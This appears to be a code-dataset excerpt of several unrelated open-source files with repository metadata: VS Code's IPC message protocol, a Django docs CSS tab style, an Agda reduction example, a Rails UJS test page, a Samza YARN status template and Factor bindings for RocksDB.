for (let i = 0; i < LoadEstimator._HISTORY_LENGTH; i++) {
if (now - this.lastRuns[i] <= historyLimit) {
score++;
}
}
return 1 - score / LoadEstimator._HISTORY_LENGTH;
}
public hasHighLoad(): boolean {
return this.load() >= 0.5;
}
}
export interface ILoadEstimator {
hasHighLoad(): boolean;
}
/**
* Same as Protocol, but will actually track messages and acks.
* Moreover, it will ensure no messages are lost if there are no event listeners.
*/
export class PersistentProtocol implements IMessagePassingProtocol {
private _isReconnecting: boolean;
private _outgoingUnackMsg: Queue<ProtocolMessage>;
private _outgoingMsgId: number;
private _outgoingAckId: number;
private _outgoingAckTimeout: any | null;
private _incomingMsgId: number;
private _incomingAckId: number;
private _incomingMsgLastTime: number;
private _incomingAckTimeout: any | null;
private _outgoingKeepAliveTimeout: any | null;
private _incomingKeepAliveTimeout: any | null;
private _lastReplayRequestTime: number;
private _socket: ISocket;
private _socketWriter: ProtocolWriter;
private _socketReader: ProtocolReader;
private _socketDisposables: IDisposable[];
private readonly _loadEstimator: ILoadEstimator;
private readonly _onControlMessage = new BufferedEmitter<VSBuffer>();
readonly onControlMessage: Event<VSBuffer> = this._onControlMessage.event;
private readonly _onMessage = new BufferedEmitter<VSBuffer>();
readonly onMessage: Event<VSBuffer> = this._onMessage.event;
private readonly _onDidDispose = new BufferedEmitter<void>();
readonly onDidDispose: Event<void> = this._onDidDispose.event;
private readonly _onSocketClose = new BufferedEmitter<SocketCloseEvent>();
readonly onSocketClose: Event<SocketCloseEvent> = this._onSocketClose.event;
private readonly _onSocketTimeout = new BufferedEmitter<void>();
readonly onSocketTimeout: Event<void> = this._onSocketTimeout.event;
public get unacknowledgedCount(): number {
return this._outgoingMsgId - this._outgoingAckId;
}
constructor(socket: ISocket, initialChunk: VSBuffer | null = null, loadEstimator: ILoadEstimator = LoadEstimator.getInstance()) {
this._loadEstimator = loadEstimator;
this._isReconnecting = false;
this._outgoingUnackMsg = new Queue<ProtocolMessage>();
this._outgoingMsgId = 0;
this._outgoingAckId = 0;
this._outgoingAckTimeout = null;
this._incomingMsgId = 0;
this._incomingAckId = 0;
this._incomingMsgLastTime = 0;
this._incomingAckTimeout = null;
this._outgoingKeepAliveTimeout = null;
this._incomingKeepAliveTimeout = null;
this._lastReplayRequestTime = 0;
this._socketDisposables = [];
this._socket = socket;
this._socketWriter = new ProtocolWriter(this._socket);
this._socketDisposables.push(this._socketWriter);
this._socketReader = new ProtocolReader(this._socket);
this._socketDisposables.push(this._socketReader);
this._socketDisposables.push(this._socketReader.onMessage(msg => this._receiveMessage(msg)));
this._socketDisposables.push(this._socket.onClose((e) => this._onSocketClose.fire(e)));
if (initialChunk) {
this._socketReader.acceptChunk(initialChunk);
}
this._sendKeepAliveCheck();
this._recvKeepAliveCheck();
}
dispose(): void {
if (this._outgoingAckTimeout) {
clearTimeout(this._outgoingAckTimeout);
this._outgoingAckTimeout = null;
}
if (this._incomingAckTimeout) {
clearTimeout(this._incomingAckTimeout);
this._incomingAckTimeout = null;
}
if (this._outgoingKeepAliveTimeout) {
clearTimeout(this._outgoingKeepAliveTimeout);
this._outgoingKeepAliveTimeout = null;
}
if (this._incomingKeepAliveTimeout) {
clearTimeout(this._incomingKeepAliveTimeout);
this._incomingKeepAliveTimeout = null;
}
this._socketDisposables = dispose(this._socketDisposables);
}
drain(): Promise<void> {
return this._socketWriter.drain();
}
sendDisconnect(): void {
const msg = new ProtocolMessage(ProtocolMessageType.Disconnect, 0, 0, getEmptyBuffer());
this._socketWriter.write(msg);
this._socketWriter.flush();
}
private _sendKeepAliveCheck(): void {
if (this._outgoingKeepAliveTimeout) {
// there will be a check in the near future
return;
}
const timeSinceLastOutgoingMsg = Date.now() - this._socketWriter.lastWriteTime;
if (timeSinceLastOutgoingMsg >= ProtocolConstants.KeepAliveTime) {
// sufficient time has passed since last message was written,
// and no message from our side needed to be sent in the meantime,
// so we will send a message containing only a keep alive.
const msg = new ProtocolMessage(ProtocolMessageType.KeepAlive, 0, 0, getEmptyBuffer());
this._socketWriter.write(msg);
this._sendKeepAliveCheck();
return;
}
this._outgoingKeepAliveTimeout = setTimeout(() => {
this._outgoingKeepAliveTimeout = null;
this._sendKeepAliveCheck();
}, ProtocolConstants.KeepAliveTime - timeSinceLastOutgoingMsg + 5);
}
private _recvKeepAliveCheck(): void {
if (this._incomingKeepAliveTimeout) {
// there will be a check in the near future
return;
}
const timeSinceLastIncomingMsg = Date.now() - this._socketReader.lastReadTime;
if (timeSinceLastIncomingMsg >= ProtocolConstants.KeepAliveTimeoutTime) {
// It's been a long time since we received a server message
// But this might be caused by the event loop being busy and failing to read messages
if (!this._loadEstimator.hasHighLoad()) {
// Trash the socket
this._onSocketTimeout.fire(undefined);
return;
}
}
this._incomingKeepAliveTimeout = setTimeout(() => {
this._incomingKeepAliveTimeout = null;
this._recvKeepAliveCheck();
}, Math.max(ProtocolConstants.KeepAliveTimeoutTime - timeSinceLastIncomingMsg, 0) + 5);
}
public getSocket(): ISocket {
return this._socket;
}
public getMillisSinceLastIncomingData(): number {
return Date.now() - this._socketReader.lastReadTime;
}
public beginAcceptReconnection(socket: ISocket, initialDataChunk: VSBuffer | null): void {
this._isReconnecting = true;
this._socketDisposables = dispose(this._socketDisposables);
this._onControlMessage.flushBuffer();
this._onSocketClose.flushBuffer();
this._onSocketTimeout.flushBuffer();
this._socket.dispose();
this._lastReplayRequestTime = 0;
this._socket = socket;
this._socketWriter = new ProtocolWriter(this._socket);
this._socketDisposables.push(this._socketWriter);
this._socketReader = new ProtocolReader(this._socket);
this._socketDisposables.push(this._socketReader);
this._socketDisposables.push(this._socketReader.onMessage(msg => this._receiveMessage(msg)));
this._socketDisposables.push(this._socket.onClose((e) => this._onSocketClose.fire(e)));
this._socketReader.acceptChunk(initialDataChunk);
}
public endAcceptReconnection(): void {
this._isReconnecting = false;
// Send again all unacknowledged messages
const toSend = this._outgoingUnackMsg.toArray();
for (let i = 0, len = toSend.length; i < len; i++) {
this._socketWriter.write(toSend[i]);
}
this._recvAckCheck();
this._sendKeepAliveCheck();
this._recvKeepAliveCheck();
}
public acceptDisconnect(): void {
this._onDidDispose.fire();
}
private _receiveMessage(msg: ProtocolMessage): void {
if (msg.ack > this._outgoingAckId) {
this._outgoingAckId = msg.ack;
do {
const first = this._outgoingUnackMsg.peek();
if (first && first.id <= msg.ack) {
// this message has been confirmed, remove it
this._outgoingUnackMsg.pop();
} else {
break;
}
} while (true);
}
if (msg.type === ProtocolMessageType.Regular) {
if (msg.id > this._incomingMsgId) {
if (msg.id !== this._incomingMsgId + 1) {
// in case we missed some messages we ask the other party to resend them
const now = Date.now();
if (now - this._lastReplayRequestTime > 10000) {
// send a replay request at most once every 10s
this._lastReplayRequestTime = now;
this._socketWriter.write(new ProtocolMessage(ProtocolMessageType.ReplayRequest, 0, 0, getEmptyBuffer()));
}
} else {
this._incomingMsgId = msg.id;
this._incomingMsgLastTime = Date.now();
this._sendAckCheck();
this._onMessage.fire(msg.data);
}
}
} else if (msg.type === ProtocolMessageType.Control) {
this._onControlMessage.fire(msg.data);
} else if (msg.type === ProtocolMessageType.Disconnect) {
this._onDidDispose.fire();
} else if (msg.type === ProtocolMessageType.ReplayRequest) {
// Send again all unacknowledged messages
const toSend = this._outgoingUnackMsg.toArray();
for (let i = 0, len = toSend.length; i < len; i++) {
this._socketWriter.write(toSend[i]);
}
this._recvAckCheck();
}
}
readEntireBuffer(): VSBuffer {
return this._socketReader.readEntireBuffer();
}
flush(): void {
this._socketWriter.flush();
}
send(buffer: VSBuffer): void {
const myId = ++this._outgoingMsgId;
this._incomingAckId = this._incomingMsgId;
const msg = new ProtocolMessage(ProtocolMessageType.Regular, myId, this._incomingAckId, buffer);
this._outgoingUnackMsg.push(msg);
if (!this._isReconnecting) {
this._socketWriter.write(msg);
this._recvAckCheck();
}
}
/**
* Send a message which will not be part of the regular acknowledge flow.
* Use this for early control messages which are repeated in case of reconnection.
*/
sendControl(buffer: VSBuffer): void {
const msg = new ProtocolMessage(ProtocolMessageType.Control, 0, 0, buffer);
this._socketWriter.write(msg);
}
private _sendAckCheck(): void {
if (this._incomingMsgId <= this._incomingAckId) {
// nothink to acknowledge
return;
}
if (this._incomingAckTimeout) {
// there will be a check in the near future
return;
}
const timeSinceLastIncomingMsg = Date.now() - this._incomingMsgLastTime;
if (timeSinceLastIncomingMsg >= ProtocolConstants.AcknowledgeTime) {
// sufficient time has passed since this message has been received,
// and no message from our side needed to be sent in the meantime,
// so we will send a message containing only an ack.
this._sendAck();
return;
}
this._incomingAckTimeout = setTimeout(() => {
this._incomingAckTimeout = null;
this._sendAckCheck();
}, ProtocolConstants.AcknowledgeTime - timeSinceLastIncomingMsg + 5);
}
private _recvAckCheck(): void {
if (this._outgoingMsgId <= this._outgoingAckId) {
// everything has been acknowledged
return;
}
if (this._outgoingAckTimeout) {
// there will be a check in the near future
return;
}
if (this._isReconnecting) {
// do not cause a timeout during reconnection,
// because messages will not be actually written until `endAcceptReconnection`
return;
}
const oldestUnacknowledgedMsg = this._outgoingUnackMsg.peek()!;
const timeSinceOldestUnacknowledgedMsg = Date.now() - oldestUnacknowledgedMsg.writtenTime;
if (timeSinceOldestUnacknowledgedMsg >= ProtocolConstants.AcknowledgeTimeoutTime) {
// It's been a long time since our sent message was acknowledged
// But this might be caused by the event loop being busy and failing to read messages
if (!this._loadEstimator.hasHighLoad()) {
// Trash the socket
this._onSocketTimeout.fire(undefined);
return;
}
}
this._outgoingAckTimeout = setTimeout(() => {
this._outgoingAckTimeout = null;
this._recvAckCheck();
}, Math.max(ProtocolConstants.AcknowledgeTimeoutTime - timeSinceOldestUnacknowledgedMsg, 0) + 5);
}
private _sendAck(): void {
if (this._incomingMsgId <= this._incomingAckId) {
// nothink to acknowledge
return;
}
this._incomingAckId = this._incomingMsgId;
const msg = new ProtocolMessage(ProtocolMessageType.Ack, 0, this._incomingAckId, getEmptyBuffer());
this._socketWriter.write(msg);
}
}
| TypeScript | 5 | kklt2002/vscode | src/vs/base/parts/ipc/common/ipc.net.ts | [
"MIT"
] |
@import url("{{ pathto('_static/fontawesome/css/fa-brands.min.css', 1) }}");
.console-block {
text-align: right;
}
.console-block *:before,
.console-block *:after {
box-sizing: border-box;
}
.console-block > section {
display: none;
text-align: left;
}
.console-block > input.c-tab-unix,
.console-block > input.c-tab-win {
display: none;
}
.console-block > label {
display: inline-block;
padding: 4px 8px;
font-weight: normal;
text-align: center;
color: #bbb;
border: 1px solid transparent;
font-family: fontawesome;
}
.console-block > input:checked + label {
color: #555;
border: 1px solid #ddd;
border-top: 2px solid #ab5603;
border-bottom: 1px solid #fff;
}
.console-block > .c-tab-unix:checked ~ .c-content-unix,
.console-block > .c-tab-win:checked ~ .c-content-win {
display: block;
}
.console-block pre {
margin-top: 0px;
}
| CSS | 4 | jpmallarino/django | docs/_theme/djangodocs/static/console-tabs.css | [
"BSD-3-Clause",
"0BSD"
] |
Old version of reduction
## Imports
\begin{code}
open import Maps using (Id; id; _≟_; PartialMap; module PartialMap)
open PartialMap using (∅) renaming (_,_↦_ to _,_∶_)
-- open import Data.String using (String)
open import Data.Nat using (ℕ)
open import Data.Maybe using (Maybe; just; nothing)
open import Relation.Nullary using (Dec; yes; no)
open import Relation.Binary.PropositionalEquality using (_≡_; _≢_; refl)
open import Stlc hiding (_⟹*_; _⟹⟨_⟩_; _∎; reduction₁; reduction₂)
\end{code}
## Reflexive and transitive closure
\begin{code}
Rel : Set → Set₁
Rel A = A → A → Set
infixl 10 _>>_
data _* {A : Set} (R : Rel A) : Rel A where
⟨⟩ : ∀ {x : A} → (R *) x x
⟨_⟩ : ∀ {x y : A} → R x y → (R *) x y
_>>_ : ∀ {x y z : A} → (R *) x y → (R *) y z → (R *) x z
infix 10 _⟹*_
_⟹*_ : Rel Term
_⟹*_ = (_⟹_) *
\end{code}
## Notation for setting out reductions
\begin{code}
infixr 2 _⟹⟨_⟩_
infix 3 _∎
_⟹⟨_⟩_ : ∀ L {M N} → L ⟹ M → M ⟹* N → L ⟹* N
L ⟹⟨ L⟹M ⟩ M⟹*N = ⟨ L⟹M ⟩ >> M⟹*N
_∎ : ∀ M → M ⟹* M
M ∎ = ⟨⟩
\end{code}
## Example reduction derivations
\begin{code}
reduction₁ : not · true ⟹* false
reduction₁ =
not · true
⟹⟨ β⇒ value-true ⟩
if true then false else true
⟹⟨ β𝔹₁ ⟩
false
∎
reduction₂ : two · not · true ⟹* true
reduction₂ =
two · not · true
⟹⟨ γ⇒₁ (β⇒ value-λ) ⟩
(λ[ x ∶ 𝔹 ] not · (not · var x)) · true
⟹⟨ β⇒ value-true ⟩
not · (not · true)
⟹⟨ γ⇒₂ value-λ (β⇒ value-true) ⟩
not · (if true then false else true)
⟹⟨ γ⇒₂ value-λ β𝔹₁ ⟩
not · false
⟹⟨ β⇒ value-false ⟩
if false then false else true
⟹⟨ β𝔹₂ ⟩
true
∎
\end{code}
| Literate Agda | 5 | manikdv/plfa.github.io | extra/extra/Reduction.lagda | [
"CC-BY-4.0"
] |
<% @title = "rails-ujs test" %>
<%= test_to 'data-confirm', 'data-remote', 'data-disable', 'data-disable-with', 'call-remote', 'call-remote-callbacks', 'data-method', 'override', 'csrf-refresh', 'csrf-token', 'call-ajax' %>
<h1 id="qunit-header"><%= @title %></h1>
<h2 id="qunit-banner"></h2>
<div id="qunit-testrunner-toolbar"></div>
<h2 id="qunit-userAgent"></h2>
<ol id="qunit-tests"></ol>
<div id="qunit-fixture"></div>
| HTML+ERB | 3 | mdesantis/rails | actionview/test/ujs/views/tests/index.html.erb | [
"MIT"
] |
-#
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
-@ val state: org.apache.samza.job.yarn.YarnAppState
-@ val samzaAppState: org.apache.samza.clustermanager.SamzaApplicationState
-@ val config: scala.collection.immutable.TreeMap[String, String]
-@ val rmHttpAddress: String
-@ val jobName: String = config.get("job.name").getOrElse("MISSING JOB NAME")
-@ val packagePath: String = config.get("yarn.package.path").getOrElse("MISSING PACKAGE PATH")
-@ val username: String = org.apache.hadoop.security.UserGroupInformation.getCurrentUser.getShortUserName
-@ val appMasterClasspath: String = scala.util.Properties.javaClassPath
-@ val javaVmVersion: String = scala.util.Properties.javaVmVersion
-@ val javaVmName: String = scala.util.Properties.javaVmName
-@ val samzaVersion: String = classOf[org.apache.samza.util.Util].getPackage.getImplementationVersion
- attributes("title") = jobName
%div.col-xs-2.menu
%ul.nav.nav-pills.nav-stacked
%li.active
%a(href="#application-master" data-toggle="tab") Application Master
%li
%a(href="#containers" data-toggle="tab") Containers
%li
%a(href="#task-groups" data-toggle="tab") Task Groups
%li
%a(href="#config" data-toggle="tab") Config
%div.col-xs-10
%div.page-header
%h1= jobName
%div.tab-content
%div.tab-pane.active#application-master
%h2 Application Master
%table.table.table-striped.table-bordered
%tbody
%tr
%td.key Hostname
%td
%a(target="_blank" href="http://#{state.nodeHost}:#{state.nodeHttpPort.toString}")= state.nodeHost
%tr
%td.key User
%td= username
%tr
%td.key Tracking port
%td= state.trackingUrl.getPort.toString
%tr
%td.key RPC port
%td= state.rpcUrl.getPort.toString
%tr
%td.key Attempt ID
%td= state.appAttemptId
%tr
%td.key Application ID
%td= state.appAttemptId.getApplicationId
%tr
%td.key Application master classpath
%td
%div.value= appMasterClasspath
%tr
%td.key Package path
%td= packagePath
%tr
%td.key Java VM name
%td= javaVmName
%tr
%td.key Java VM version
%td= javaVmVersion
%tr
%td.key Samza version
%td= samzaVersion
%tr
%td.key Application master task ID
%td= state.taskId
%tr
%td.key Application master container
%td
%a(target="_blank" href="http://#{state.nodeHost}:#{state.nodeHttpPort.toString}/node/containerlogs/#{state.amContainerId.toString}/#{username}")= state.amContainerId.toString
%tr
%td.key JMX server url
%td= samzaAppState.jmxUrl
%tr
%td.key JMX server tunneling url
%td= samzaAppState.jmxTunnelingUrl
%div.tab-pane#containers
%h2 Containers
%table.table.table-bordered.table-striped
%tr
%tr
%td.key Completed
%td= samzaAppState.completedProcessors.toString
%tr
%td.key Needed
%td= samzaAppState.neededProcessors.toString
%tr
%td.key Failed
%td= samzaAppState.failedContainers.toString
%tr
%td.key Released
%td= samzaAppState.releasedContainers.toString
%h2 Running Containers
%table.table.table-striped.table-bordered.tablesorter#containers-table
%thead
%tr
%th Task Group
%th Container
%th Node
%th Start Time
%th Up Time
%th JMX access
%tbody
- for((processorId, container) <- state.runningProcessors)
%tr
%td #{processorId.toString}
%td
%a(target="_blank" href="http://#{container.nodeHttpAddress}/node/containerlogs/#{container.id.toString}/#{username}")= container.id.toString
%td
%a(target="_blank" href="http://#{container.nodeHttpAddress}")= container.nodeHttpAddress
%td
Start time: #{container.startTimeStr()}
%td
Up time: #{container.upTimeStr()}
%td
Ordinary: #{samzaAppState.jobModelManager.jobModel.getContainerToHostValue(processorId, org.apache.samza.coordinator.stream.messages.SetContainerHostMapping.JMX_URL_KEY)}
Tunneling: #{samzaAppState.jobModelManager.jobModel.getContainerToHostValue(processorId, org.apache.samza.coordinator.stream.messages.SetContainerHostMapping.JMX_TUNNELING_URL_KEY)}
%h2 Failed Containers
%table.table.table-striped.table-bordered.tablesorter#containers-table
%thead
%tr
%th Container
%th Exit code
%th Message
%tbody
- for((containerId, containerStatus) <- state.failedContainersStatus)
%tr
%td
#{containerId}
%td
Exit code: #{containerStatus.getExitStatus}
%td
%div.value= containerStatus.getDiagnostics
%div.tab-pane#task-groups
%h2 Task Groups
%table.table.table-striped.table-bordered
%tbody
%tr
%td.key Total
%td= samzaAppState.processorCount.toString
%tr
%td.key Finished
%td= samzaAppState.finishedProcessors.toString
%h3 TaskName Assignment
%table.table.table-striped.table-bordered.tablesorter#taskids-table
%thead
%tr
%th Task Group ID
%th TaskName
%th SystemStreamPartitions
%th Container
%tbody
- for((processorId, container) <- state.runningProcessors)
- val containerModel = samzaAppState.jobModelManager.jobModel.getContainers.get(processorId)
- for((taskName, taskModel) <- containerModel.getTasks)
%tr
%td= processorId
%td= taskName
%td= taskModel.getSystemStreamPartitions.map(_.toString).toList.sorted.mkString(", ")
%td
%a(target="_blank" href="http://#{container.nodeHttpAddress}/node/containerlogs/#{container.id.toString}/#{username}")= container.id.toString
%div.tab-pane#config
%h2 Config
%div.panel.panel-default
%div.panel-heading
%input.form-control#config-table-filter(type="text" placeholder="Type '/' to search")
%table.table.table-striped.table-bordered.tablesorter#config-table
%thead
%tr
%th Key
%th Value
%tbody.searchable
- for(entrySet <- new java.util.TreeMap[String, String](config.asInstanceOf[Map[String, String]]).entrySet)
%tr
%td.key= entrySet.getKey
%td= entrySet.getValue
:javascript
$(document).ready(function() {
// Persist tabs.
if (location.hash !== '') {
$('a[href="' + location.hash + '"]').tab('show');
}
$('a[data-toggle="tab"]').on('shown.bs.tab', function(e) {
return location.hash = $(e.target).attr('href').substr(1);
});
// Make tables sortable.
$('#containers-table').tablesorter();
$('#taskids-table').tablesorter();
$('#config-table').tablesorter();
// Type '/' to search.
$(document).keyup(function(e) {
if (e.keyCode == 191 && $('#config').is(':visible')) {
$('#config-table-filter').focus();
}
});
// Make config table searchable.
$('#config-table-filter').keyup(function(e) {
// Press ESC to exit search box.
if (e.keyCode == 27) {
$('#config-table-filter').blur();
}
var regex = new RegExp($(this).val(), 'i');
$('.searchable tr').hide();
$('.searchable tr').filter(function() {
return regex.test($(this).text());
}).show();
});
});
| Scaml | 4 | HappyRay/samza | samza-yarn/src/main/resources/scalate/WEB-INF/views/index.scaml | [
"Apache-2.0"
] |
! Copyright (C) 2020 Doug Coleman.
! See http://factorcode.org/license.txt for BSD license.
USING: alien alien.c-types alien.libraries alien.syntax
combinators system ;
IN: rocksdb.ffi
! https://github.com/facebook/rocksdb/blob/master/include/rocksdb/c.h
! v6.14.5
<< "rocksdb" {
{ [ os windows? ] [ "librocksdb.dll" ] }
{ [ os macosx? ] [ "librocksdb.dylib" ] }
{ [ os unix? ] [ "librocksdb.so" ] }
} cond cdecl add-library >>
! Exported types
LIBRARY: rocksdb
C-TYPE: rocksdb_t
C-TYPE: rocksdb_backup_engine_t
C-TYPE: rocksdb_backup_engine_info_t
C-TYPE: rocksdb_backupable_db_options_t
C-TYPE: rocksdb_restore_options_t
C-TYPE: rocksdb_cache_t
C-TYPE: rocksdb_compactionfilter_t
C-TYPE: rocksdb_compactionfiltercontext_t
C-TYPE: rocksdb_compactionfilterfactory_t
C-TYPE: rocksdb_comparator_t
C-TYPE: rocksdb_dbpath_t
C-TYPE: rocksdb_env_t
C-TYPE: rocksdb_fifo_compaction_options_t
C-TYPE: rocksdb_filelock_t
C-TYPE: rocksdb_filterpolicy_t
C-TYPE: rocksdb_flushoptions_t
C-TYPE: rocksdb_iterator_t
C-TYPE: rocksdb_logger_t
C-TYPE: rocksdb_mergeoperator_t
C-TYPE: rocksdb_options_t
C-TYPE: rocksdb_compactoptions_t
C-TYPE: rocksdb_block_based_table_options_t
C-TYPE: rocksdb_cuckoo_table_options_t
C-TYPE: rocksdb_randomfile_t
C-TYPE: rocksdb_readoptions_t
C-TYPE: rocksdb_seqfile_t
C-TYPE: rocksdb_slicetransform_t
C-TYPE: rocksdb_snapshot_t
C-TYPE: rocksdb_writablefile_t
C-TYPE: rocksdb_writebatch_t
C-TYPE: rocksdb_writebatch_wi_t
C-TYPE: rocksdb_writeoptions_t
C-TYPE: rocksdb_universal_compaction_options_t
C-TYPE: rocksdb_livefiles_t
C-TYPE: rocksdb_column_family_handle_t
C-TYPE: rocksdb_envoptions_t
C-TYPE: rocksdb_ingestexternalfileoptions_t
C-TYPE: rocksdb_sstfilewriter_t
C-TYPE: rocksdb_ratelimiter_t
C-TYPE: rocksdb_perfcontext_t
C-TYPE: rocksdb_pinnableslice_t
C-TYPE: rocksdb_transactiondb_options_t
C-TYPE: rocksdb_transactiondb_t
C-TYPE: rocksdb_transaction_options_t
C-TYPE: rocksdb_optimistictransactiondb_t
C-TYPE: rocksdb_optimistictransaction_options_t
C-TYPE: rocksdb_transaction_t
C-TYPE: rocksdb_checkpoint_t
C-TYPE: rocksdb_wal_iterator_t
C-TYPE: rocksdb_wal_readoptions_t
C-TYPE: rocksdb_memory_consumers_t
C-TYPE: rocksdb_memory_usage_t
! DB operations
FUNCTION: rocksdb_t* rocksdb_open (
rocksdb_options_t* options, c-string name, char** errptr )
FUNCTION: rocksdb_t* rocksdb_open_with_ttl (
rocksdb_options_t* options, c-string name, int ttl, char** errptr )
FUNCTION: rocksdb_t* rocksdb_open_for_read_only (
rocksdb_options_t* options, c-string name,
uchar error_if_log_file_exist, char** errptr )
FUNCTION: rocksdb_t* rocksdb_open_as_secondary (
rocksdb_options_t* options, c-string name,
char* secondary_path, char** errptr )
FUNCTION: rocksdb_backup_engine_t* rocksdb_backup_engine_open (
rocksdb_options_t* options, char* path, char** errptr )
FUNCTION: rocksdb_backup_engine_t*
rocksdb_backup_engine_open_opts ( rocksdb_backupable_db_options_t* options,
rocksdb_env_t* env, char** errptr )
FUNCTION: void rocksdb_backup_engine_create_new_backup (
rocksdb_backup_engine_t* be, rocksdb_t* db, char** errptr )
FUNCTION: void rocksdb_backup_engine_create_new_backup_flush (
rocksdb_backup_engine_t* be, rocksdb_t* db, uchar flush_before_backup,
char** errptr )
FUNCTION: void rocksdb_backup_engine_purge_old_backups (
rocksdb_backup_engine_t* be, uint32_t num_backups_to_keep, char** errptr )
FUNCTION: rocksdb_restore_options_t*
rocksdb_restore_options_create ( )
FUNCTION: void rocksdb_restore_options_destroy (
rocksdb_restore_options_t* opt )
FUNCTION: void rocksdb_restore_options_set_keep_log_files (
rocksdb_restore_options_t* opt, int v )
FUNCTION: void
rocksdb_backup_engine_verify_backup ( rocksdb_backup_engine_t* be,
uint32_t backup_id, char** errptr )
FUNCTION: void
rocksdb_backup_engine_restore_db_from_latest_backup (
rocksdb_backup_engine_t* be, char* db_dir, char* wal_dir,
rocksdb_restore_options_t* restore_options, char** errptr )
FUNCTION: void rocksdb_backup_engine_restore_db_from_backup (
rocksdb_backup_engine_t* be, char* db_dir, char* wal_dir,
rocksdb_restore_options_t* restore_options, uint32_t backup_id,
char** errptr )
FUNCTION: rocksdb_backup_engine_info_t*
rocksdb_backup_engine_get_backup_info ( rocksdb_backup_engine_t* be )
FUNCTION: int rocksdb_backup_engine_info_count (
rocksdb_backup_engine_info_t* info )
FUNCTION: int64_t
rocksdb_backup_engine_info_timestamp ( rocksdb_backup_engine_info_t* info,
int index )
FUNCTION: uint32_t
rocksdb_backup_engine_info_backup_id ( rocksdb_backup_engine_info_t* info,
int index )
FUNCTION: uint64_t
rocksdb_backup_engine_info_size ( rocksdb_backup_engine_info_t* info,
int index )
FUNCTION: uint32_t rocksdb_backup_engine_info_number_files (
rocksdb_backup_engine_info_t* info, int index )
FUNCTION: void rocksdb_backup_engine_info_destroy (
rocksdb_backup_engine_info_t* info )
FUNCTION: void rocksdb_backup_engine_close (
rocksdb_backup_engine_t* be )
! BackupableDBOptions
FUNCTION: rocksdb_backupable_db_options_t*
rocksdb_backupable_db_options_create ( char* backup_dir )
FUNCTION: void rocksdb_backupable_db_options_set_backup_dir (
rocksdb_backupable_db_options_t* options, char* backup_dir )
FUNCTION: void rocksdb_backupable_db_options_set_env (
rocksdb_backupable_db_options_t* options, rocksdb_env_t* env )
FUNCTION: void
rocksdb_backupable_db_options_set_share_table_files (
rocksdb_backupable_db_options_t* options, uchar val )
FUNCTION: uchar
rocksdb_backupable_db_options_get_share_table_files (
rocksdb_backupable_db_options_t* options )
FUNCTION: void rocksdb_backupable_db_options_set_sync (
rocksdb_backupable_db_options_t* options, uchar val )
FUNCTION: uchar rocksdb_backupable_db_options_get_sync (
rocksdb_backupable_db_options_t* options )
FUNCTION: void
rocksdb_backupable_db_options_set_destroy_old_data (
rocksdb_backupable_db_options_t* options, uchar val )
FUNCTION: uchar
rocksdb_backupable_db_options_get_destroy_old_data (
rocksdb_backupable_db_options_t* options )
FUNCTION: void
rocksdb_backupable_db_options_set_backup_log_files (
rocksdb_backupable_db_options_t* options, uchar val )
FUNCTION: uchar
rocksdb_backupable_db_options_get_backup_log_files (
rocksdb_backupable_db_options_t* options )
FUNCTION: void
rocksdb_backupable_db_options_set_backup_rate_limit (
rocksdb_backupable_db_options_t* options, uint64_t limit )
FUNCTION: uint64_t
rocksdb_backupable_db_options_get_backup_rate_limit (
rocksdb_backupable_db_options_t* options )
FUNCTION: void
rocksdb_backupable_db_options_set_restore_rate_limit (
rocksdb_backupable_db_options_t* options, uint64_t limit )
FUNCTION: uint64_t
rocksdb_backupable_db_options_get_restore_rate_limit (
rocksdb_backupable_db_options_t* options )
FUNCTION: void
rocksdb_backupable_db_options_set_max_background_operations (
rocksdb_backupable_db_options_t* options, int val )
FUNCTION: int
rocksdb_backupable_db_options_get_max_background_operations (
rocksdb_backupable_db_options_t* options )
FUNCTION: void
rocksdb_backupable_db_options_set_callback_trigger_interval_size (
rocksdb_backupable_db_options_t* options, uint64_t size )
FUNCTION: uint64_t
rocksdb_backupable_db_options_get_callback_trigger_interval_size (
rocksdb_backupable_db_options_t* options )
FUNCTION: void
rocksdb_backupable_db_options_set_max_valid_backups_to_open (
rocksdb_backupable_db_options_t* options, int val )
FUNCTION: int
rocksdb_backupable_db_options_get_max_valid_backups_to_open (
rocksdb_backupable_db_options_t* options )
FUNCTION: void
rocksdb_backupable_db_options_set_share_files_with_checksum_naming (
rocksdb_backupable_db_options_t* options, int val )
FUNCTION: int
rocksdb_backupable_db_options_get_share_files_with_checksum_naming (
rocksdb_backupable_db_options_t* options )
FUNCTION: void rocksdb_backupable_db_options_destroy (
rocksdb_backupable_db_options_t* options )
! Checkpoint
FUNCTION: rocksdb_checkpoint_t*
rocksdb_checkpoint_object_create ( rocksdb_t* db, char** errptr )
FUNCTION: void rocksdb_checkpoint_create (
rocksdb_checkpoint_t* checkpoint, char* checkpoint_dir,
uint64_t log_size_for_flush, char** errptr )
FUNCTION: void rocksdb_checkpoint_object_destroy (
rocksdb_checkpoint_t* checkpoint )
FUNCTION: rocksdb_t* rocksdb_open_column_families (
rocksdb_options_t* options, c-string name, int num_column_families,
char** column_family_names,
rocksdb_options_t** column_family_options,
rocksdb_column_family_handle_t** column_family_handles, char** errptr )
FUNCTION: rocksdb_t* rocksdb_open_column_families_with_ttl (
rocksdb_options_t* options, char* name, int num_column_families,
char** column_family_names,
rocksdb_options_t** column_family_options,
rocksdb_column_family_handle_t** column_family_handles, int* ttls,
char** errptr )
FUNCTION: rocksdb_t*
rocksdb_open_for_read_only_column_families (
rocksdb_options_t* options, c-string name, int num_column_families,
char** column_family_names,
rocksdb_options_t** column_family_options,
rocksdb_column_family_handle_t** column_family_handles,
uchar error_if_log_file_exist, char** errptr )
FUNCTION: rocksdb_t* rocksdb_open_as_secondary_column_families (
rocksdb_options_t* options, c-string name,
char* secondary_path, int num_column_families,
char** column_family_names,
rocksdb_options_t** column_family_options,
rocksdb_column_family_handle_t** colummn_family_handles, char** errptr )
FUNCTION: char** rocksdb_list_column_families (
rocksdb_options_t* options, c-string name, size_t* lencf,
char** errptr )
FUNCTION: void rocksdb_list_column_families_destroy (
char** list, size_t len )
FUNCTION: rocksdb_column_family_handle_t*
rocksdb_create_column_family ( rocksdb_t* db,
rocksdb_options_t* column_family_options,
char* column_family_name, char** errptr )
